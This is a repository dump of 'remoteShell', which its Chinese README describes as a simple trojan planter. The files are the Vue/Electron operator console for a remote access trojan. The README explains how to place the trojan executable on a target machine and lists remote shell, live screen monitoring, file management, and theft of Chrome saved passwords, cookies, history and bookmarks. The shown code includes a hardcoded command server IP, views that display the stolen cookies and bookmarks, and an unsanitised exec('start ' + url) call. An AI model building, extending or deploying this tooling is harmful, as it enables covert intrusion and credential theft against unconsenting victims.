├── .env.development
├── .env.production
├── .gitignore
├── README.md
├── babel.config.js
├── package.json
├── public
    ├── favicon.ico
    └── index.html
├── src
    ├── App.vue
    ├── api
    │   └── info.js
    ├── assets
    │   ├── SHELL.png
    │   ├── arrow-left.png
    │   ├── arrow-right.png
    │   ├── browser.png
    │   ├── chrome.png
    │   ├── empty.png
    │   ├── file.png
    │   ├── fileManage.png
    │   ├── floderblue.png
    │   ├── linux.png
    │   ├── logo.ico
    │   ├── mac.png
    │   ├── screen.png
    │   ├── stop.png
    │   └── windows.png
    ├── background.js
    ├── components
    │   └── Menu.vue
    ├── main.js
    ├── router
    │   └── index.js
    ├── store
    │   └── index.js
    ├── utils
    │   ├── remoteWebsocketConfig.js
    │   ├── request.js
    │   └── statck.js
    └── views
    │   ├── browser
    │       ├── bookmarks.vue
    │       ├── cookie.vue
    │       ├── history.vue
    │       ├── index.vue
    │       └── password.vue
    │   ├── filemanage
    │       └── index.vue
    │   ├── index
    │       └── Index.vue
    │   ├── screen
    │       └── index.vue
    │   └── shell
    │       └── index.vue
├── vue.config.js
└── yarn.lock


/.env.development:
--------------------------------------------------------------------------------
1 | # just a flag
2 | ENV = 'development'
3 | 


--------------------------------------------------------------------------------
/.env.production:
--------------------------------------------------------------------------------
 1 | <!--
 2 |  * @Description: 
 3 |  * @Version: 1.0
 4 |  * @Autor: solid
 5 |  * @Date: 2022-05-17 12:45:40
 6 |  * @LastEditors: solid
 7 |  * @LastEditTime: 2022-11-01 15:14:22
 8 | -->
 9 | # just a flag
10 | ENV = 'production'
11 | 
12 | 
13 | 


--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
 1 | .DS_Store
 2 | node_modules
 3 | /build
 4 | *.exe
 5 | 
 6 | # local env files
 7 | .env.local
 8 | .env.*.local
 9 | 
10 | # Log files
11 | npm-debug.log*
12 | yarn-debug.log*
13 | yarn-error.log*
14 | pnpm-debug.log*
15 | 
16 | # Editor directories and files
17 | .idea
18 | .vscode
19 | *.suo
20 | *.ntvs*
21 | *.njsproj
22 | *.sln
23 | *.sw?
24 | 
25 | #Electron-builder output
26 | /dist_electron


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
  1 | # <center>简单植马器<center>
  2 | # remoteShell
  3 | # 📌项目基本介绍
  4 | ## 项目地址
  5 | [https://github.com/OblivionTime/remoteShell](https://github.com/OblivionTime/remoteShell)
  6 | ## 分支介绍
  7 | ![在这里插入图片描述](https://img-blog.csdnimg.cn/8ccdcccb0e4243428eee5cd6e256d0ad.png)
  8 | # 💨基本使用流程
  9 | ## 下载文件
 10 | [https://github.com/OblivionTime/remoteShell/releases](https://github.com/OblivionTime/remoteShell/releases)
 11 | 
 12 | ![在这里插入图片描述](https://img-blog.csdnimg.cn/12be07ff44f94a59a498496798276d2c.png)
 13 | ## 解压
 14 | ![在这里插入图片描述](https://img-blog.csdnimg.cn/eeb21c8040a2486e8dfeab41316d56c6.png)
 15 | ## 启动
 16 | 先启动`remoteShellServer-win.exe`也就是先启动服务
 17 | ![在这里插入图片描述](https://img-blog.csdnimg.cn/efd647c7d5ff465cbed7005d4efd2500.png)
 18 | 然后打开`马端控制.exe`
 19 | ![在这里插入图片描述](https://img-blog.csdnimg.cn/a0c2e4ee53d649978fb69e2ac878b6e5.png)
 20 | 
 21 | 然后将`config.json`和`remoteShellTrojan.exe`移植到目标机器上,根据`自己的服务器ip`地址修改`config.json`文件中的`hostname`和`port`,如果不知道看自己服务器ip的话可以在命令行输入`ipconfig`查看自己的ip
 22 | ![在这里插入图片描述](https://img-blog.csdnimg.cn/ed073d754277462180e3aeb12f2bc04c.png)
 23 | 修改完后双击运行`remoteShellTrojan.exe`即可,出现下面这种情况则表示连接成功
 24 | ![在这里插入图片描述](https://img-blog.csdnimg.cn/18383d0871404a39a97be8aeb50d9e8c.png)
 25 | 去`马端控制`查看上线的机器
 26 | ![在这里插入图片描述](https://img-blog.csdnimg.cn/1355f54117b644eca797fac784d4f943.png)
 27 | 
 28 | # ✨前端基本介绍
 29 | ## 源码zip下载地址
 30 | [https://codeload.github.com/OblivionTime/remoteShell/zip/refs/heads/main](https://codeload.github.com/OblivionTime/remoteShell/zip/refs/heads/main)
 31 | 
 32 | ## ✨介绍
 33 | 马端控制是基于`vue`和`electron`,使用`element-UI`框架,通过websocket进行数据传输,使用`ffmpeg.exe`实现简单的屏幕录制功能
 34 | ## ❗功能
 35 | 1. shell命令执行
 36 | 2. 实时屏幕
 37 | 3. 文件管理
 38 | 4. 获取chrome浏览器的书签,历史记录,网站保存的账号和密码,网站所有cookie
 39 | 
 40 | ## ⚙️调试
 41 | ```shell
 42 | #拉取前端
 43 | git clone https://github.com/OblivionTime/remoteShell.git
 44 | # 安装依赖包
 45 | yarn
 46 | # 调试
 47 | yarn serve
 48 | # 打包
 49 | yarn build
 50 | ```
 51 | ## 🖼️ 项目截图
 52 | ![在这里插入图片描述](https://img-blog.csdnimg.cn/2271c0ff687d4b8bb47b71c36977717e.png)
 53 | ![在这里插入图片描述](https://img-blog.csdnimg.cn/8eccacb4e38345b4998501de0020c592.png)
 54 | ![在这里插入图片描述](https://img-blog.csdnimg.cn/83951d3f0c1b45edbd3a2887ae101915.png)
 55 | ![在这里插入图片描述](https://img-blog.csdnimg.cn/c00b2badb17349eeaf19381a356f0573.png)
 56 | # ✨后端基本介绍
 57 | ## 源代码zip下载地址
 58 | [https://codeload.github.com/OblivionTime/remoteShell/zip/refs/heads/server](https://codeload.github.com/OblivionTime/remoteShell/zip/refs/heads/server)
 59 | 
 60 | ## ✨介绍
 61 | 后端主要通过纯nodejs,后端主要重要在于信息传输,并没有做任何的特殊处理,所以基本上很多功能代码相似
 62 | ## ⚙️调试
 63 | ```shell
 64 | #拉取前端
 65 | git clone https://github.com/OblivionTime/remoteShell.git
 66 | git chekcout server
 67 | # 安装依赖包
 68 | yarn
 69 | # 调试
 70 | yarn serve
 71 | # 打包
 72 | yarn build
 73 | ```
 74 | # ✨马端基本介绍
 75 | ## 源zip下载地址
 76 | [https://codeload.github.com/OblivionTime/remoteShell/zip/refs/heads/trojan](https://codeload.github.com/OblivionTime/remoteShell/zip/refs/heads/trojan)
 77 | ## ✨介绍
 78 | 马端纯nodejs实现,主要调用了以下几个库的基本使用
 79 | 
 80 | ![在这里插入图片描述](https://img-blog.csdnimg.cn/86d1f580f1f14b379ce5fa488a307914.png)
 81 | ## ⚙️调试
 82 | ```shell
 83 | #拉取前端
 84 | git clone https://github.com/OblivionTime/remoteShell.git
 85 | git chekcout trojan
 86 | # 安装依赖包
 87 | yarn
 88 | # 调试
 89 | yarn serve
 90 | # 打包成win
 91 | yarn build:win
 92 | # 打包成mac
 93 | yarn build:mac
 94 | # 打包成linux
 95 | yarn build:linux
 96 | ```
 97 | 
 98 | ## ⚙️ 配置项
 99 | ![在这里插入图片描述](https://img-blog.csdnimg.cn/68981c31695648229ab32dedcd6027de.png)
100 | `hostname`表示后端ip地址,`port`表示后端端口,如果当前目录下没有`config.json`文件则系统会自动默认为`localhost:7880`


--------------------------------------------------------------------------------
/babel.config.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 |   presets: [
3 |     '@vue/cli-plugin-babel/preset'
4 |   ]
5 | }
6 | 


--------------------------------------------------------------------------------
/package.json:
--------------------------------------------------------------------------------
 1 | {
 2 |   "name": "remoteShell",
 3 |   "version": "0.1.0",
 4 |   "private": true,
 5 |   "scripts": {
 6 |     "build": "vue-cli-service electron:build",
 7 |     "serve": "vue-cli-service electron:serve",
 8 |     "postinstall": "electron-builder install-app-deps",
 9 |     "postuninstall": "electron-builder install-app-deps"
10 |   },
11 |   "main": "background.js",
12 |   "dependencies": {
13 |     "core-js": "^3.6.5",
14 |     "vue": "2.6.11",
15 |     "vue-router": "^3.2.0",
16 |     "vuex": "^3.4.0",
17 |     "element-ui": "2.13.2",
18 |     "axios": "^0.27.2",
19 |     "xterm": "^5.0.0",
20 |     "xterm-addon-attach": "^0.7.0",
21 |     "xterm-addon-fit": "^0.6.0"
22 |   },
23 |   "devDependencies": {
24 |     "@vue/cli-plugin-babel": "~4.5.15",
25 |     "@vue/cli-plugin-router": "~4.5.15",
26 |     "@vue/cli-plugin-vuex": "~4.5.15",
27 |     "@vue/cli-service": "~4.5.15",
28 |     "electron": "^13.0.0",
29 |     "electron-devtools-installer": "^3.1.0",
30 |     "sass": "^1.26.5",
31 |     "sass-loader": "^8.0.2",
32 |     "vue-cli-plugin-electron-builder": "~2.1.1",
33 |     "vue-template-compiler": "2.6.11"
34 |   },
35 |   "browserslist": [
36 |     "> 1%",
37 |     "last 2 versions",
38 |     "not dead"
39 |   ]
40 | }


--------------------------------------------------------------------------------
/public/favicon.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/OblivionTime/remoteShell/f20bb12905b72bb896eca14f410d3815fcdd67b7/public/favicon.ico


--------------------------------------------------------------------------------
/public/index.html:
--------------------------------------------------------------------------------
 1 | <!DOCTYPE html>
 2 | <html lang="">
 3 |   <head>
 4 |     <meta charset="utf-8">
 5 |     <meta http-equiv="X-UA-Compatible" content="IE=edge">
 6 |     <meta name="viewport" content="width=device-width,initial-scale=1.0">
 7 |     <link rel="icon" href="<%= BASE_URL %>favicon.ico">
 8 |     <title><%= htmlWebpackPlugin.options.title %></title>
 9 |   </head>
10 |   <body>
11 |     <noscript>
12 |       <strong>We're sorry but <%= htmlWebpackPlugin.options.title %> doesn't work properly without JavaScript enabled. Please enable it to continue.</strong>
13 |     </noscript>
14 |     <div id="app"></div>
15 |     <!-- built files will be auto injected -->
16 |   </body>
17 | </html>
18 | 


--------------------------------------------------------------------------------
/src/App.vue:
--------------------------------------------------------------------------------
 1 | <!--
 2 |  * @Description: 
 3 |  * @Version: 1.0
 4 |  * @Autor: solid
 5 |  * @Date: 2022-11-01 10:02:32
 6 |  * @LastEditors: solid
 7 |  * @LastEditTime: 2022-11-10 15:09:03
 8 | -->
 9 | <template>
10 |   <div id="app">
11 |     <div>
12 |       <div style="width: 100%; margin-top: 20px">
13 |         <div
14 |           style="
15 |             margin-top: 20px;
16 |             display: flex;
17 |             justify-content: space-between;
18 |           "
19 |         >
20 |           <div>
21 |             <div style="display: flex; align-items: center">
22 |               <div style="width: 16rem">当前服务器地址:</div>
23 |               <el-input
24 |                 v-model="ipaddr"
25 |                 placeholder="请输入服务器地址"
26 |               ></el-input>
27 |               <div style="margin-left: 10px">
28 |                 <el-button type="primary" @click="updateServerIp"
29 |                   >修改服务器地址</el-button
30 |                 >
31 |               </div>
32 |             </div>
33 |           </div>
34 |         </div>
35 |       </div>
36 |       <el-card class="box-card" style="width: 100%; margin-top: 20px">
37 |         <div style="display: flex; width: 100%;">
38 |           <Menu @ChangeMethod="ChangeMethod"></Menu>
39 |           <div class="main" ref="main">
40 |             <router-view :key="$route.fullPath" />
41 |           </div>
42 |         </div>
43 |       </el-card>
44 |     </div>
45 |   </div>
46 | </template>
47 | <script>
48 | import Menu from "@/components/Menu";
49 | export default {
50 |   components: {
51 |     Menu,
52 |   },
53 |   created() {
54 |     this.ipaddr = localStorage.getItem("ipaddr")
55 |       ? localStorage.getItem("ipaddr")
56 |       : "101.34.204.112:7880";
57 |   },
58 |   data() {
59 |     return {
60 |       ipaddr: "",
61 |     };
62 |   },
63 |   methods: {
64 |     ChangeMethod(outputFileType) {
65 |       // this.$nextTick(() => {
66 |       //   if (t == "PDFOther") {
67 |       //     this.$refs.PDFOther.ChangeMethod(outputFileType);
68 |       //   }
69 |       // });
70 |     },
71 |     updateServerIp() {
72 |       if (!this.ipaddr) {
73 |         this.$message.warning("服务器地址不能为空");
74 |         return;
75 |       }
76 |       localStorage.setItem("ipaddr", this.ipaddr);
77 |       this.$message.success("修改成功,即将刷新页面");
78 |       setTimeout(() => {
79 |         window.location.reload();
80 |       }, 1500);
81 |     },
82 |   },
83 | };
84 | </script>
85 | <style scoped>
86 | .main {
87 |   flex: auto;
88 | }
89 | </style>


--------------------------------------------------------------------------------
/src/api/info.js:
--------------------------------------------------------------------------------
 1 | /*
 2 |  * @Description: 
 3 |  * @Version: 1.0
 4 |  * @Autor: solid
 5 |  * @Date: 2022-08-10 11:06:59
 6 |  * @LastEditors: solid
 7 |  * @LastEditTime: 2022-11-01 15:42:25
 8 |  */
 9 | import request from '@/utils/request'
10 | //获取房间号
11 | export function RoomList(params) {
12 |     return request({
13 |         url: '/list',
14 |         method: 'get',
15 |         params,
16 |     })
17 | }
18 | //修改备注
19 | export function updateNote(data) {
20 |     return request({
21 |         url: '/updateNote',
22 |         method: 'post',
23 |         data,
24 |     })
25 | }


--------------------------------------------------------------------------------
/src/assets/SHELL.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/OblivionTime/remoteShell/f20bb12905b72bb896eca14f410d3815fcdd67b7/src/assets/SHELL.png


--------------------------------------------------------------------------------
/src/assets/arrow-left.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/OblivionTime/remoteShell/f20bb12905b72bb896eca14f410d3815fcdd67b7/src/assets/arrow-left.png


--------------------------------------------------------------------------------
/src/assets/arrow-right.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/OblivionTime/remoteShell/f20bb12905b72bb896eca14f410d3815fcdd67b7/src/assets/arrow-right.png


--------------------------------------------------------------------------------
/src/assets/browser.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/OblivionTime/remoteShell/f20bb12905b72bb896eca14f410d3815fcdd67b7/src/assets/browser.png


--------------------------------------------------------------------------------
/src/assets/chrome.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/OblivionTime/remoteShell/f20bb12905b72bb896eca14f410d3815fcdd67b7/src/assets/chrome.png


--------------------------------------------------------------------------------
/src/assets/empty.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/OblivionTime/remoteShell/f20bb12905b72bb896eca14f410d3815fcdd67b7/src/assets/empty.png


--------------------------------------------------------------------------------
/src/assets/file.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/OblivionTime/remoteShell/f20bb12905b72bb896eca14f410d3815fcdd67b7/src/assets/file.png


--------------------------------------------------------------------------------
/src/assets/fileManage.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/OblivionTime/remoteShell/f20bb12905b72bb896eca14f410d3815fcdd67b7/src/assets/fileManage.png


--------------------------------------------------------------------------------
/src/assets/floderblue.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/OblivionTime/remoteShell/f20bb12905b72bb896eca14f410d3815fcdd67b7/src/assets/floderblue.png


--------------------------------------------------------------------------------
/src/assets/linux.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/OblivionTime/remoteShell/f20bb12905b72bb896eca14f410d3815fcdd67b7/src/assets/linux.png


--------------------------------------------------------------------------------
/src/assets/logo.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/OblivionTime/remoteShell/f20bb12905b72bb896eca14f410d3815fcdd67b7/src/assets/logo.ico


--------------------------------------------------------------------------------
/src/assets/mac.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/OblivionTime/remoteShell/f20bb12905b72bb896eca14f410d3815fcdd67b7/src/assets/mac.png


--------------------------------------------------------------------------------
/src/assets/screen.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/OblivionTime/remoteShell/f20bb12905b72bb896eca14f410d3815fcdd67b7/src/assets/screen.png


--------------------------------------------------------------------------------
/src/assets/stop.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/OblivionTime/remoteShell/f20bb12905b72bb896eca14f410d3815fcdd67b7/src/assets/stop.png


--------------------------------------------------------------------------------
/src/assets/windows.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/OblivionTime/remoteShell/f20bb12905b72bb896eca14f410d3815fcdd67b7/src/assets/windows.png


--------------------------------------------------------------------------------
/src/background.js:
--------------------------------------------------------------------------------
 1 | /*
 2 |  * @Description: 
 3 |  * @Version: 1.0
 4 |  * @Autor: solid
 5 |  * @Date: 2022-08-12 14:21:50
 6 |  * @LastEditors: solid
 7 |  * @LastEditTime: 2022-11-01 15:36:36
 8 |  */
 9 | 'use strict'
10 | import { app, protocol, BrowserWindow  } from 'electron'
11 | import { createProtocol } from 'vue-cli-plugin-electron-builder/lib'
12 | const isDevelopment = process.env.NODE_ENV !== 'production'
13 | 
14 | // Scheme must be registered before the app is ready
15 | protocol.registerSchemesAsPrivileged([
16 |   { scheme: 'app', privileges: { secure: true, standard: true } }
17 | ])
18 | const winURL = isDevelopment
19 |   ? `http://localhost:8888/`
20 |   : 'app://./index.html'
21 | async function createWindow() {
22 |   // Create the browser window.
23 |   const win = new BrowserWindow({
24 |     width: 1200,
25 |     useContentSize: true,
26 |     height: 600,
27 |     webPreferences: {
28 |       nodeIntegration: true,
29 |       contextIsolation: false
30 |     }
31 |   })
32 |   win.maximize();
33 |   if (isDevelopment) {
34 |     win.webContents.openDevTools()
35 |   } else {
36 |     win.setMenu(null);
37 |     createProtocol('app')
38 |   }
39 |   win.loadURL(winURL)
40 | }
41 | 
42 | 
43 | // Quit when all windows are closed.
44 | app.on('window-all-closed', () => {
45 |   // On macOS it is common for applications and their menu bar
46 |   // to stay active until the user quits explicitly with Cmd + Q
47 |   if (process.platform !== 'darwin') {
48 |     app.quit()
49 |   }
50 | })
51 | 
52 | app.on('activate', () => {
53 |   // On macOS it's common to re-create a window in the app when the
54 |   // dock icon is clicked and there are no other windows open.
55 |   if (BrowserWindow.getAllWindows().length === 0) createWindow()
56 | })
57 | 
58 | // This method will be called when Electron has finished
59 | // initialization and is ready to create browser windows.
60 | // Some APIs can only be used after this event occurs.
61 | app.on('ready', async () => {
62 |   createWindow()
63 | })
64 | 
65 | 


--------------------------------------------------------------------------------
/src/components/Menu.vue:
--------------------------------------------------------------------------------
 1 | <!--
 2 |  * @Description: 
 3 |  * @Version: 1.0
 4 |  * @Autor: solid
 5 |  * @Date: 2022-10-25 18:43:28
 6 |  * @LastEditors: solid
 7 |  * @LastEditTime: 2022-11-09 14:14:00
 8 | -->
 9 | <template>
10 |   <div class="menu">
11 |     <div
12 |       v-for="item in featureList"
13 |       :key="item.key"
14 |       :class="outputFileType == item.key ? 'menu-item active' : 'menu-item'"
15 |       @click="ChangeMethod(item.key)"
16 |     >
17 |       <img
18 |         :src="item.icon"
19 |         alt=""
20 |         srcset=""
21 |         style="width: 2em; object-fit: contain"
22 |       />
23 |       {{ item.name }}
24 |     </div>
25 |   </div>
26 | </template>
27 | 
28 | <script>
29 | export default {
30 |   name: "Menu",
31 |   data() {
32 |     return {
33 |       outputFileType: "shell",
34 |       featureList: [
35 |         {
36 |           name: "命令行",
37 |           icon: require("@/assets/SHELL.png"),
38 |           key: "shell",
39 |         },
40 |         {
41 |           name: "实时监控",
42 |           icon: require("@/assets/screen.png"),
43 |           key: "screen",
44 |         },
45 |         {
46 |           name: "文件管理",
47 |           icon: require("@/assets/fileManage.png"),
48 |           key: "file",
49 |         },
50 |         {
51 |           name: "浏览器",
52 |           icon: require("@/assets/browser.png"),
53 |           key: "browser",
54 |         },
55 |       ],
56 |     };
57 |   },
58 |   created() {
59 |     if (this.$route.query.outputFileType) {
60 |       this.outputFileType = this.$route.query.outputFileType;
61 |     }
62 |   },
63 |   methods: {
64 |     ChangeMethod(outputFileType) {
65 |       if (outputFileType == this.outputFileType) {
66 |         return;
67 |       }
68 |       this.outputFileType = outputFileType;
69 |       this.$router.push({
70 |         path: "/",
71 |         query: { path: outputFileType },
72 |       });
73 |     },
74 |   },
75 | };
76 | </script>
77 | 
78 | <style>
79 | .menu {
80 |   flex-basis: 280px;
81 |   display: flex;
82 |   flex-direction: column;
83 | }
84 | .menu .menu-item {
85 |   padding: 20px;
86 |   font-size: 16px;
87 |   display: flex;
88 |   justify-content: space-evenly;
89 |   align-items: center;
90 |   cursor: pointer;
91 | }
92 | .active {
93 |   background: #eee;
94 | }
95 | </style>


--------------------------------------------------------------------------------
/src/main.js:
--------------------------------------------------------------------------------
 1 | /*
 2 |  * @Description: 
 3 |  * @Version: 1.0
 4 |  * @Autor: solid
 5 |  * @Date: 2022-08-12 14:20:59
 6 |  * @LastEditors: solid
 7 |  * @LastEditTime: 2022-11-01 10:12:47
 8 |  */
 9 | import Vue from 'vue'
10 | import App from './App.vue'
11 | import router from './router'
12 | import Element from 'element-ui'
13 | import 'element-ui/lib/theme-chalk/index.css';
14 | Vue.use(Element)
15 | Vue.config.productionTip = false
16 | 
17 | new Vue({
18 |   router,
19 |   render: h => h(App)
20 | }).$mount('#app')
21 | 


--------------------------------------------------------------------------------
/src/router/index.js:
--------------------------------------------------------------------------------
 1 | /*
 2 |  * @Description: 
 3 |  * @Version: 1.0
 4 |  * @Autor: solid
 5 |  * @Date: 2022-11-01 10:02:32
 6 |  * @LastEditors: solid
 7 |  * @LastEditTime: 2022-11-09 14:11:28
 8 |  */
 9 | import Vue from 'vue'
10 | import VueRouter from 'vue-router'
11 | import Index from '../views/index/Index.vue'
12 | import SHELL from '../views/shell/index.vue'
13 | import Screen from '../views/screen/index.vue'
14 | import FileManage from '../views/filemanage/index.vue'
15 | import Browser from '../views/browser/index.vue' 
16 | 
17 | Vue.use(VueRouter)
18 | 
19 | const routes = [
20 |   {
21 |     path: '/',
22 |     name: 'Index',
23 |     component: Index
24 |   },
25 |   {
26 |     path: '/shell',
27 |     name: 'SHELL',
28 |     component: SHELL
29 |   },
30 |   {
31 |     path: '/screen',
32 |     name: 'screen',
33 |     component: Screen
34 |   },
35 |   {
36 |     path: '/file',
37 |     name: 'file',
38 |     component: FileManage
39 |   },
40 |   {
41 |     path: '/browser',
42 |     name: 'browser',
43 |     component: Browser
44 |   },
45 | ]
46 | 
47 | const router = new VueRouter({
48 |   mode: 'hash',
49 |   base: process.env.BASE_URL,
50 |   routes
51 | })
52 | export default router
53 | 


--------------------------------------------------------------------------------
/src/store/index.js:
--------------------------------------------------------------------------------
 1 | import Vue from 'vue'
 2 | import Vuex from 'vuex'
 3 | 
 4 | Vue.use(Vuex)
 5 | 
 6 | export default new Vuex.Store({
 7 |   state: {
 8 |   },
 9 |   mutations: {
10 |   },
11 |   actions: {
12 |   },
13 |   modules: {
14 |   }
15 | })
16 | 


--------------------------------------------------------------------------------
/src/utils/remoteWebsocketConfig.js:
--------------------------------------------------------------------------------
 1 | /*
 2 |  * @Description: 
 3 |  * @Version: 1.0
 4 |  * @Autor: solid
 5 |  * @Date: 2022-08-18 12:24:36
 6 |  * @LastEditors: solid
 7 |  * @LastEditTime: 2022-11-01 10:18:55
 8 |  */
 9 | "use strict";
10 | export var ipaddr=localStorage.getItem('ipaddr')?localStorage.getItem('ipaddr'):'101.34.204.112:7880'


--------------------------------------------------------------------------------
/src/utils/request.js:
--------------------------------------------------------------------------------
 1 | /*
 2 |  * @Description:
 3 |  * @Version: 2.0
 4 |  * @Autor: solid
 5 |  * @Date: 2021-12-23 22:30:23 +0800
 6 |  * @LastEditors: solid
 7 |  * @LastEditTime: 2022-11-01 10:24:19
 8 |  */
 9 | import axios from 'axios'
10 | import {ipaddr} from './remoteWebsocketConfig';
11 | var baseURL = `http://${ipaddr}`
12 | const service = axios.create({
13 | 	baseURL: baseURL,
14 | 	timeout: 50000
15 | })
16 | service.interceptors.request.use(
17 | 	(config) => {
18 | 
19 | 		// config.url
20 | 		return config
21 | 	},
22 | 	(error) => {
23 | 		// do something with request error
24 | 		return Promise.reject(error)
25 | 	}
26 | )
27 | 
28 | // response interceptor
29 | service.interceptors.response.use(
30 | 	/**
31 | 	 * If you want to get http information such as headers or status
32 | 	 * Please return  response => response
33 | 	 */
34 | 
35 | 	/**
36 | 	 * Determine the request status by custom code
37 | 	 * Here is just an example
38 | 	 * You can also judge the status by HTTP Status Code
39 | 	 */
40 | 	response => {
41 | 		return response.data
42 | 	},
43 | 	error => {
44 | 		console.log(error);
45 | 	}
46 | )
47 | 
48 | export default service
49 | 


--------------------------------------------------------------------------------
/src/utils/statck.js:
--------------------------------------------------------------------------------
 1 | /*
 2 |  * @Description:
 3 |  * @Version: 1.0
 4 |  * @Autor: solid
 5 |  * @Date: 2022-08-26 16:32:57
 6 |  * @LastEditors: solid
 7 |  * @LastEditTime: 2022-08-26 16:34:09
 8 |  */
 9 | export class Stack {
10 |     constructor () {
11 |       this.items = []
12 |     }
13 |     // 返回的长度
14 |     size () {
15 |       return this.items.length
16 |     }
17 |     // 压栈(入栈)
18 |     push (item) {
19 |       this.items.push(item)
20 |     }
21 |     // 弹栈(出栈)
22 |     pop () {
23 |       return this.items.pop()
24 |     }
25 |     // 返回栈顶元素
26 |     peek () {
27 |       return this.items[this.items.length - 1]
28 |     }
29 |     // 清空栈
30 |     clear () {
31 |       this.items = []
32 |     }
33 |     // 判断是否空栈
34 |     isEmpty () {
35 |       return this.size() == 0
36 |     }
37 |   }
38 | 


--------------------------------------------------------------------------------
/src/views/browser/bookmarks.vue:
--------------------------------------------------------------------------------
  1 | <!--
  2 |  * @Description: 
  3 |  * @Version: 1.0
  4 |  * @Autor: solid
  5 |  * @Date: 2022-11-09 15:37:32
  6 |  * @LastEditors: solid
  7 |  * @LastEditTime: 2022-11-09 17:35:31
  8 | -->
  9 | <template>
 10 |   <div>
 11 |     <el-tree
 12 |       :data="bookmarksData"
 13 |       :props="defaultProps"
 14 |       accordion
 15 |       @node-click="handleNodeClick"
 16 |     >
 17 |       <el-card
 18 |         slot-scope="{ node, data }"
 19 |         style="cursor: pointer; margin: 10px 0; width: 100%"
 20 |       >
 21 |         <div
 22 |           style="
 23 |             display: flex;
 24 |             justify-content: space-between;
 25 |             align-items: center;
 26 |           "
 27 |         >
 28 |           <div style="display: flex; align-items: center">
 29 |             <img
 30 |               :src="data.type == 'folder' ? folderIcon : data.ico"
 31 |               style="width: 2em; object-fit: contain; margin-right: 10px"
 32 |               :onerror="chrome"
 33 |             />
 34 |             <div
 35 |               style="
 36 |                 width: 60vw;
 37 |                 white-space: nowrap;
 38 |                 overflow: hidden;
 39 |                 text-overflow: ellipsis;
 40 |               "
 41 |             >
 42 |               {{ node.label }}
 43 |             </div>
 44 |           </div>
 45 |           <div>
 46 |             <img
 47 |               :src="chrome"
 48 |               alt=""
 49 |               srcset=""
 50 |               style="width: 2em; object-fit: contain; margin-right: 10px"
 51 |               :onerror="chrome"
 52 |             />
 53 |           </div>
 54 |         </div>
 55 |       </el-card>
 56 |     </el-tree>
 57 |   </div>
 58 | </template>
 59 | 
 60 | <script>
 61 | export default {
 62 |   name: "bookmarks",
 63 |   props: {
 64 |     bookmarksData: {
 65 |       default: [],
 66 |     },
 67 |   },
 68 |   created() {
 69 |     console.log(this.bookmarksData)
 70 |   },
 71 |   data() {
 72 |     return {
 73 |       chrome: 'this.src="' + require("@/assets/chrome.png") + '"',
 74 |       folderIcon: require("@/assets/floderblue.png"),
 75 |       defaultProps: {
 76 |         children: "children",
 77 |         label: "label",
 78 |       },
 79 |     };
 80 |   },
 81 |   methods: {
 82 |     handleNodeClick(node) {
 83 |       if (node.type == "folder") {
 84 |         return;
 85 |       }
 86 |       this.openDefaultBrowser(node.url);
 87 |     },
 88 |     openDefaultBrowser(url) {
 89 |       var exec = window.require("child_process").exec;
 90 |       exec("start " + url);
 91 |     },
 92 |     //设置默认图片
 93 |     setDefaultImage(e) {
 94 |       e.target.currentSrc = this.chrome;
 95 |     },
 96 |   },
 97 | };
 98 | </script>
 99 | 
100 | <style>
101 | </style>


--------------------------------------------------------------------------------
/src/views/browser/cookie.vue:
--------------------------------------------------------------------------------
 1 | <!--
 2 |  * @Description: 
 3 |  * @Version: 1.0
 4 |  * @Autor: solid
 5 |  * @Date: 2022-11-09 15:37:32
 6 |  * @LastEditors: solid
 7 |  * @LastEditTime: 2022-11-09 16:56:08
 8 | -->
 9 | <template>
10 |   <div>
11 |     <el-table :data="cookieData" height="55vh">
12 |       <el-table-column prop="domain" label="domain" align="center" />
13 |       <el-table-column prop="name" label="名称" align="center" />
14 |       <el-table-column label="value" align="center" width="220px">
15 |         <template slot-scope="scope">
16 |           <div
17 |             style="
18 |               width: 200px;
19 |               white-space: nowrap;
20 |               overflow: hidden;
21 |               text-overflow: ellipsis;
22 |             "
23 |           >
24 |             {{ scope.row.value }}
25 |           </div>
26 |         </template>
27 |       </el-table-column>
28 |       <el-table-column prop="path" label="路径" align="center" />
29 |       <el-table-column label="httpOnly" align="center">
30 |         <template slot-scope="scope">
31 |           <span v-if="scope.row.httpOnly" style="cursor: pointer">✔️</span>
32 |           <span v-else>❌</span>
33 |         </template>
34 |       </el-table-column>
35 |       <el-table-column label="persistent" align="center">
36 |         <template slot-scope="scope">
37 |           <span v-if="scope.row.persistent" style="cursor: pointer">✔️</span>
38 |           <span v-else>❌</span>
39 |         </template>
40 |       </el-table-column>
41 |       <el-table-column label="secure" align="center">
42 |         <template slot-scope="scope">
43 |           <span v-if="scope.row.secure" style="cursor: pointer">✔️</span>
44 |           <span v-else>❌</span>
45 |         </template>
46 |       </el-table-column>
47 |       <el-table-column label="HasExpire" align="center">
48 |         <template slot-scope="scope">
49 |           <span v-if="scope.row.HasExpire" style="cursor: pointer">✔️</span>
50 |           <span v-else>❌</span>
51 |         </template>
52 |       </el-table-column>
53 |     </el-table>
54 |   </div>
55 | </template>
56 | 
57 | <script>
58 | export default {
59 |   name: "PASSWORD",
60 |   props: {
61 |     cookieData: {
62 |       default: [],
63 |     },
64 |   },
65 |   data() {
66 |     return {
67 |       chrome: 'this.src="' + require("@/assets/chrome.png") + '"',
68 |     };
69 |   },
70 |   methods: {
71 |     openDefaultBrowser(url) {
72 |       var exec = window.require("child_process").exec;
73 |       exec("start " + url);
74 |     },
75 |     //设置默认图片
76 |     setDefaultImage(e) {
